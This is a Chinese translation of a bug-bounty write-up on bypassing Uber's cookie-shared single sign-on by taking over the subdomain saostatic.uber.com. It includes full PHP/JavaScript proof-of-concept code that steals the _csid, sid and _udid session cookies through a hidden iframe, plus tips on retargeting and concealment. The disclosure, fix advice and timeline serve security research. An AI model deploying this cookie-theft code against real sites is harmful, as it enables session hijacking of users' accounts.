1. 程式人生 > 其它 >挖洞經驗 | 看我如何通過子域名接管繞過Uber單點登入認證機制

挖洞經驗 | 看我如何通過子域名接管繞過Uber單點登入認證機制

Uber使用Amazon CloudFront CDN架構的網站saostatic.uber.com存在子域名安全漏洞,可被攻擊者接管。另外,Uber近期部署在網站auth.uber.com上,基於Uber所有子域名cookie共享實現認證的單點登入系統(SSO)也存在安全問題,攻擊者可通過入侵控制任意一個*.uber.com子域名進行會話cookie竊取。因此,這兩個問題的綜合應用將造成對Uber整個SSO系統的身份認證繞過,實現對所有Uber子域名網站的訪問控制,影響甚大。目前,通過我的漏洞發現,Uber已經修復了這兩個安全問題,併為我提供了5000刀的漏洞獎金。下面,我們就一起來進行漏洞分析:

瞭解單點登入認證系統SSO的安全性

通常,單點登入認證系統主要有以下三種類型:

OAuth: 基於服務提供者(Service Providers)為身份提供者(Identity Providers)配置的白名單回撥URL, 並由“state”引數實現CSRF保護。該方式存在的漏洞大多為開放重定向問題,參考Airbnb的認證繞過漏洞。 SAML & friends: 基於XML訊息加密,使用服務提供者和身份提供者之間的預交換加密金鑰進行認證。該方式漏洞大多為XML簽名繞過,參考OneLogin認證繞過。 子域名cookie會話共享: 基於所有子域名空間的整體安全性。任何一個存在漏洞的子域名都可能導致會話共享cookie被劫持,並對SSO系統造成安全威脅。該方式漏洞大多為RCE遠端程式碼執行、除錯日誌洩露和子域名接管,參考Ubiquity身份認證繞過。

我個人認為,前兩種單點登入方式以前存在很多安全問題,但現在其安全性都已得到提升。相比來說,第三種SSO方式的應用比前兩種都要早,從設計角度來說,任何利用這種SSO系統發起認證的域名都必須是同一個頂級域名下的子域名,但由於這種SSO系統的安全性依賴於所有子域名的整體安全性,所以也無形中增加了其攻擊面。

Uber的單點登入認證問題

從近期的漏洞披露報告來看,Uber在過去曾使用OAuth來作為*.uber.com子域名的SSO系統,但最近卻換成了基於會話共享cookie的SSO系統。現在訪問任何一個需要身份認證的uber.com子域名,都將被重定向到auth.uber.com進行統一的身份認證。如果在該網站完成登入之後意味著你通過了其SSO系統,利用SSO系統分配的會話cookie可繼續實現其它Uber網站的登入訪問。

但是這個SSO系統卻存在前述的安全漏洞:在受害者為認證登入狀態時,通過對任何一個入侵控制的子域名網站可以竊取經auth.uber.com為任意子域名認證分發的共享會話cookie。雖然Uber採取了一些防護對策,但仍然可以被繞過。加上saostatic.uber.com的子域名繞過漏洞,意味著Uber的整個SSO系統身份認證機制都將被繞過。儘管Uber在漏洞賞金專案中明確了某些不在測試範圍內的域名,但該漏洞攻擊可適用於任意一個*.uber.com子域名。

對Uber的子域名接管

通過DNS CNAME記錄觀察,子域名saostatic.uber.com指向Amazon Cloudfront CDN,但主機名並沒有被註冊,這也味著其存在域名註冊接管漏洞。在參考類似的Uber漏洞之後,我成功接管了該子域名,以下PoC證明:

對Uber實現認證繞過

在Uber的SSO系統中,auth.uber.com作為具備臨時共享會話cookie的身份提供者,向服務提供者(如riders.uber.com等網站)發起認證。成功完成認證之後,為避免衝突和錯誤,服務提供者在服務端將會立即刪除傳入的臨時共享會話cookie,並降低會話資訊被竊取的可能和風險。以下為Uber SSO系統的使用者登入流程:

從上圖分析可看出,由於在第9步和第12步之間存在一個短暫的瀏覽器重定向,有效的會話cookie “_csid”貌似只能從此進行竊取。對此,結合Jack Whitton的CSP欺騙實現cookie重定向傳送漏洞,我發現了一種更方便有效的利用方法,通過該方法可以讓共享會話cookie在第12步後仍然儲存在瀏覽器中。關鍵是,如果目標使用者已經通過第12步實現了https://riders.uber.com的認證登入,當該使用者接著又從auth.uber.com收到了一個新生成的有效共享會話cookie “_csid”時,這個新cookie將被忽略但保持有效。

因此,攻擊者可以將上圖第3步重放為下圖的第13步,並在其後新增一個指向https://saostatic.uber.com的隱藏請求,就可以竊取到有效會話cookie:

理論上來說,一旦攻擊者得到了如https://riders.uber.com的受害使用者共享會話cookie “_csid”後,就可在自己的瀏覽器中執行正常的登入認證流程,並會替換掉第9步的“_csid” 分發cookie值,偽裝受害使用者進行登入。但是,Uber在這裡設定了CSRF跨站請求偽造防護措施,所以,加入CSRF防護機制的Uber SSO登入流程圖如下所示:

關鍵就在於GET引數state=CSRFTOKEN,和在第3步中由riders.uber.com新增的,並在第11步驗證的本地區域性狀態cookie。由於我們無法從受害使用者瀏覽器中竊取這些cookie值,但我們的目標又是共享會話cookie“_csid”,那是否就沒戲了呢?

NO!由於攻擊者可以通過在自己終端,正常進行https://riders.uber.com的登入操作,並從中獲取到有效的CSRFTOKEN值和狀態cookie,那麼攻擊者就能夠將https://riders.uber.com在第三步生成的auth.uber.com URL連結轉發至受害使用者的瀏覽器中,生成並竊取共享會話cookie “_csid”,最後將這些cookie插入到第9步的自己登入認證過程中。這種方式下,由受害者生成一個臨時的會話令牌”_csid”,而攻擊者利用該令牌在單獨的瀏覽器實現成功認證登入,非常完美。

PoC及視訊演示

再多的流程圖也比不上一個PoC說得清楚。

1、開啟受害者瀏覽器,瀏覽https://riders.uber.com,之後被重定向到https://auth.uber.com,使用受害使用者的憑證完成認證,轉到https://riders.uber.com; 2、在受害者瀏覽器開啟另一個網頁標籤,訪問https://saostatic.uber.com/prepareuberattack.php,假設該網站設定了安全有效的SSL認證模式,在此跳出的任何認證警告,都選擇接受。當頁面載入完成後,你將會在底部看到一個url、Cookie字串和Set-Cookie字串,這就是自動竊取的,攻擊者用來進行登入認證的cookie值 3、開啟另外一個瀏覽器視窗,設定攔截工具進行請求迴應的流量擷取,訪問prepareuberattack.php頁面顯示的URL連結進行攔截,之後,複製在prepareuberattack.php頁面中顯示的Cookie:…欄位,並把它拷貝到請求頭中 4、響應資訊將會跳轉到https://riders.uber.com/trips,表明已成功繞過身份認證。最後,將prepareuberattack.php頁面的“Set-Cookie:”欄位值拷貝到瀏覽器服務端請求的響應資訊中,這樣,就能實現將竊取的cookie值持久駐留在攻擊者瀏覽器中。接下來,就可以受害者身份完成其它域名網站的認證登入。具體請看以下演示視訊:

https://v.qq.com/x/page/k0525k5zvln.html

真實攻擊場景中,攻擊者可以用隱蔽方式在受害使用者瀏覽器中,通過iframe等方式載入https://saostatic.uber.com/prepareuberattack.php頁面。同樣,攻擊者可以不在結果返回頁面中顯示URL和竊取的cookie資訊,而是將其儲存伺服器後端,實現隱蔽攻擊竊取。雖然解釋有些拖沓,但在上述視訊演示中可看出其PoC漏洞攻擊的快速有效執行能力。

以下給出的是 https://saostatic.uber.com/prepareuberattack.php和https://saostatic.uber.com/uberattack.php頁面的攻擊原始碼,prepareuberattack.php可託管在任意伺服器,而uberattack.php必須託管在被劫持或入侵的子域名網站伺服器中。你可以將這兩個PHP檔案中的“riders.uber.com”改為其它Uber子域名,如vault.uber.com、partners.uber.com和developer.uber.com等,進行攻擊。

prepareuberattack.php:

<html>
<body>
<script>
<?php
    function HandleHeaderLine( $curl, $header_line ) {
        preg_match("/state=([^;]*);/", $header_line, $matches);
    if(sizeof($matches) > 0) {
        print("var cookiestate = '" . $matches[1] . "';n");
    }
    preg_match("/Location: (.*)/", $header_line, $matches);
    if(sizeof($matches) > 0) {
        print("var loc = '" . trim($matches[1]) . "';n");
    }
    return strlen($header_line);
    }   

    $c = curl_init('https://riders.uber.com');
    curl_setopt($c, CURLOPT_VERBOSE, 1);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
    $page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
    iframe.setAttribute("width", "100%");
    iframe.setAttribute("height", "10000");
    document.body.appendChild(iframe); 
}
img.src=loc;
</script>
</body>
</html>

uberattack.php:

<html>
<body>
<?php
    $cookiestring = "state=" . $_GET["cookiestate"] . "; ";
    $interestincookies = array("_udid", "_csid", "sid");
    foreach ($_COOKIE as $name => $value) {
    if (in_array($name,$interestincookies)) {   
        $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) .  "; ";
        $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) .  ";</br>";
        }
    }
    print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />";
    print "Cookie: " . $cookiestring . "<br />";
    print "<br />" . $cookiestringset . "<br />";

?>
</body>
</html>

修復策略

我給Uber的兩方面建議:

1、消除指向AWS CloudFront CDN的解析記錄來避免saostatic.uber.com的子域名接管漏洞; 2、按照優先順序順序,通過以下方法解決身份認證繞過問題: 恢復使用OAuth 2,減少因共享會話cookie SSO系統導致的攻擊面 採取IP地址檢測功能:儲存使用者外網IP地址,在認證發起時進行驗證 考慮到SSO系統對所有子域名的安全依賴性,可將所有Uber子域名加入漏洞賞金專案範圍 最終,Uber消除不安全的CNAME解析記錄,並採用IP地址檢測機制來降低了Uber SSO系統攻擊面。

漏洞報送程序

2017年4月7日 向Uber提交漏洞 2017年4月11日 Uber漏洞分類 2017年4月14日 我得到了最低漏洞賞金$500 2017年6月6日 由於saostatic.uber.com還處於可接管狀態,就此與Uber溝通 2017年6月6日 Uber迴應由於疏忽導致,已經開始採取加固措施 2017年6月7日 saostatic.uber.com的DNS CNAME記錄被移除 2017年6月14日 我獲得了額外的$4500漏洞賞金 2017年7月7日 Uber在SSO系統中採取了IP檢測機制 2017年7月11日 得到Uber的漏洞公佈允許